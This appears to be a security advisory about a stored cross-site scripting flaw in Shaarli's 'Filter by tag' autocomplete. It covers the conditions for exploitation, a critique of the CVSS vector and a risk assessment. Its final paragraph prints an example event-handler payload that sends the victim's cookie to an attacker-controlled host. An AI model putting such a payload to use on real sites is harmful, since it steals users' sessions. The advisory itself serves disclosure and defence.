Shaarli CVE-2026-48823

Two concrete sequential conditions are required. First, the attacker must hold an authenticated Shaarli account with bookmark creation privileges - unauthenticated visitors cannot submit Shaares and therefore cannot plant the persistent payload. Second, a separate victim (any authenticated user including administrators) must actively interact with the 'Filter by tag' autocomplete search functionality on the homepage after the malicious bookmark exists in the database; simply loading the homepage without triggering the tag filter is insufficient to execute the payload. Exploitation is limited to Shaarli instances running version 0.16.1 or earlier. Instances restricted to a private network or VPN reduce reachability but do not eliminate the vulnerability if internal users with accounts exist.

The NVD-assigned CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N yields a score of 4.8, but the AV:L (Local) designation is anomalous and inconsistent with a stored XSS vulnerability in a web application - the attack is delivered over a network to a victim's browser, not via local system access. This metric warrants verification with NVD or the vendor; the likely intended vector is AV:N. The PR:H (High privileges) rating implies bookmark creation requires elevated access, though the description states only 'authenticated user' without specifying admin-level access, suggesting PR:L or PR:H is debatable. Real-world risk is bounded by several factors: exploitation requires an authenticated session to plant the payload, a second user must actively use the tag-filter feature to trigger it, and Shaarli is predominantly deployed as a small-footprint self-hosted personal tool with limited public exposure. No CISA KEV listing exists and no public exploit code has been identified, keeping opportunistic exploitation risk low. EPSS data was not provided in the source intelligence.

An authenticated Shaarli user creates a bookmark with a tag value containing an HTML event handler payload such as onmouseover=fetch('https://attacker.example/?c='+document.cookie). The tag is stored in the database as-is. When an administrator or other authenticated user later uses the 'Filter by tag' autocomplete field on the homepage, Awesomplete renders the malicious tag in the DOM without encoding, executing the JavaScript in the victim's browser session and exfiltrating their session cookie to the attacker-controlled endpoint. No public proof-of-concept has been identified, but the technique requires only foundational XSS knowledge and standard browser developer tools.